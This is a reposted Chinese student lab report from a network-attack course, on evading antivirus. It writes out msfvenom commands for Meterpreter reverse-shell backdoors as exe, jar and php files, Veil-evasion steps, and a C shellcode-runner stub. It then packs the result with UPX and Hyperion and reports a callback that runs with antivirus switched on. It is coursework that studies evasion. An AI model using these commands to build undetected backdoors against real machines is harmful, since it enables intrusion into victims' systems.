博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践
阅读量:5945 次
发布时间:2019-06-19

本文共 2867 字,大约阅读时间需要 9 分钟。

一,实验要求

(我是真的不知道为什么截图中都有学号和姓名信息了还要求改主机名。。。。。。而且实验要求里也没有明确说。做完之后听别人说的,肯定是不能重新截图了,要扣分就扣吧)

通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力

二,实验内容

1.了解恶意软件检测机制和免杀技术的基本原理

  1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

3.通过组合应用各种技术实现恶意代码免杀

4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

三,实验步骤

任务一 正确使用免杀工具或技巧

1.使用msfvenom生成后门程序

  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.132 LPORT=5302 -f exe > msf5302.exe
    1296565-20190330103121817-862786226.png
  • 将exe文件复制到windows中,打开电脑管家进行杀毒,msf5302.exe被识别出来
    1296565-20190330103219445-1603902210.png

-使用virscan进行扫描

1296565-20190330103603588-3101340.png

  • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 5302_java.jar 生成jar文件
    1296565-20190330104147230-543714132.png
  • 将jar文件复制到windows下,使用virscan进行扫描
    1296565-20190330104832089-1915921188.png
  • msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 20165302.php生成php文件

    1296565-20190330105544593-1159622300.png

  • 将php文件复制到windows中,使用virscan进行扫描

    1296565-20190330105740909-1438797555.png
    (6666,只能重新修改一下文件名)

1296565-20190330110053190-1047304284.png

wtf,不知道什么情况传不上去,行吧,就这样吧

2,使用veil-evasion生成后门程序

安装veil

  • git clone https://github.com/Veil-Framework/Veil
  • cd Veil/config/
  • ./setup.sh
  • 然后点一下,等一年,这是你没有体验过的全新版本
  • 输入veil启用
  • use evasion
  • list
    1296565-20190330154157492-1863430084.png
  • use 7
  • set LHOST 192.168.80.132
  • set LPORT 5302
  • generate生成文件
  • 设置playload的名字

1296565-20190330154351346-2079392541.png

  • 生成成功
    1296565-20190330155144714-978099641.png
  • 然后按照文件路径找到并复制到windows中

    1296565-20190330155302020-1490459102.png

  • 刚一复制到windows中,电脑管家就提示拦截到木马

1296565-20190330160518661-292102117.png

  • 使用virscan进行扫描

    1296565-20190330160950438-140413462.png

    利用shellcode编程生成后门程序

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 -f c生成shellcode
    1296565-20190330161755797-1977408042.png
  • 利用shellcode编写一段代码,将shellcode复制进去
    代码如下
unsigned char buf[] = "此处复制粘贴之前用msf生成的buf"int main(){    int (*func)() = (int(*)())buf;    func();}
  • i686-w64-mingw32-g++ 20165302.c -o 20165302.exe编译为可执行文件
    1296565-20190330163445803-1867565089.png
  • 将exe文件复制到windows里,使用virscan进行扫描

1296565-20190330164424283-328385874.png

(然而我的电脑管家并没有检测出来,可能是它太low了)

  • 使用压缩壳 upx 20165302.exe -o upxed.exe
  • 使用virscan进行扫描,电脑管家还是没有发现。。。。。
    1296565-20190330170535742-1217141541.png
  • 使用加密壳
  • 将upxed.exe拷贝到/usr/share/windows-binaries/hyperion/中
  • wine hyperion.exe -v upxed.exe upxed_Hyperion.exe
    1296565-20190330171411115-1617710823.png
  • 反弹连接

1296565-20190330182018964-1462555366.png

  • 使用virscan扫描一下

1296565-20190330182435541-748070909.png

任务二:通过组合应用各种技术实现恶意代码免杀

  • 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
  • 成功截图

1296565-20190330182909087-1603856146.png

1296565-20190330182923169-982188183.png

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功

  • 实验环境,win10主机,电脑管家版本为

1296565-20190331133422836-635170911.png

  • 实验结果

1296565-20190331133445752-950232.png

1296565-20190331124920114-2129319038.png

实验体会

这次实验总体来说不是很难,但步骤比较繁琐,需要一定的耐心,通过这次实验我更好的了解了免杀的原理,掌握了免杀的实现方法,在这次实验中没出什么大问题,好在只是一些小问题,都自己解决了,我个人认为本次实验的难点就是在veil的安装和使用上,可以说只要做好了这点,本次实验就没什么难点了,可能是我运气比较好,在安装veil的过程中没有出现像其他同学那样各种各样的问题,一次成功!!!好了,总结一下本次实验的收获,这次实验我学会了使用压缩壳和加密壳,学会了半自动注入shellcode的方法,了解了免杀的几种原理,学会了version和virus totals的使用,收获还是蛮多的,虽然过程很累,但是能自己独立完成实验还是很开心的 ^-^ ^-^

实验中遇到的问题

  • 文件名为数字时非法,可以将文件名改为字母或字母和数字的组合

  • 安装veil时报错,解决方法删了重新安装,虽然有点low,但能做出来就行23333

  • 在查看压缩壳是否可以反弹连接时windows不能运行exe文件,解决方法是将exe文件设为被信任的文件就可以了

    基础知识问答

    1.杀软是如何检测出恶意代码的

  • 基于特征码的检测,简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • 启发式恶意软件检测,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据,优点:可以检测0-day恶意软件,具有一定通用性
  • 基于行为的恶意软件检测,最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为检测相当于是启发式的一种,或者是加入了行为监控的启发式

    2.免杀是做什么?

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术

    3.免杀的基本方法有哪些?

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件

转载于:https://www.cnblogs.com/dky20165302/p/10625558.html

你可能感兴趣的文章
Android DrawLayout + ListView 的使用(一)
查看>>
clear session on close of browser jsp
查看>>
关于吃掉物理的二次聚合无法实现的需要之旁门左道实现法
查看>>
mysql出现unblock with 'mysqladmin flush-hosts'
查看>>
oracle exp/imp命令详解
查看>>
开发安全的 API 所需要核对的清单
查看>>
Mycat源码中的单例模式
查看>>
WPF Dispatcher介绍
查看>>
fiddler展示serverIP方法
查看>>
已释放的栈内存
查看>>
Android网络之数据解析----SAX方式解析XML数据
查看>>
Java递归列出所有文件和文件夹
查看>>
[关于SQL]查询成绩都大于80分的学生
查看>>
Delphi(Tuxedo,BDE,ADO)三合一数据集组件HsTxQuery
查看>>
LeetCode - Longest Common Prefix
查看>>
Android图片处理
查看>>
2015年第21本:万万没想到,用理工科思维理解世界
查看>>
大家谈谈公司里的项目经理角色及职责都是干什么的?
查看>>
剑指offer
查看>>
Velocity魔法堂系列二:VTL语法详解
查看>>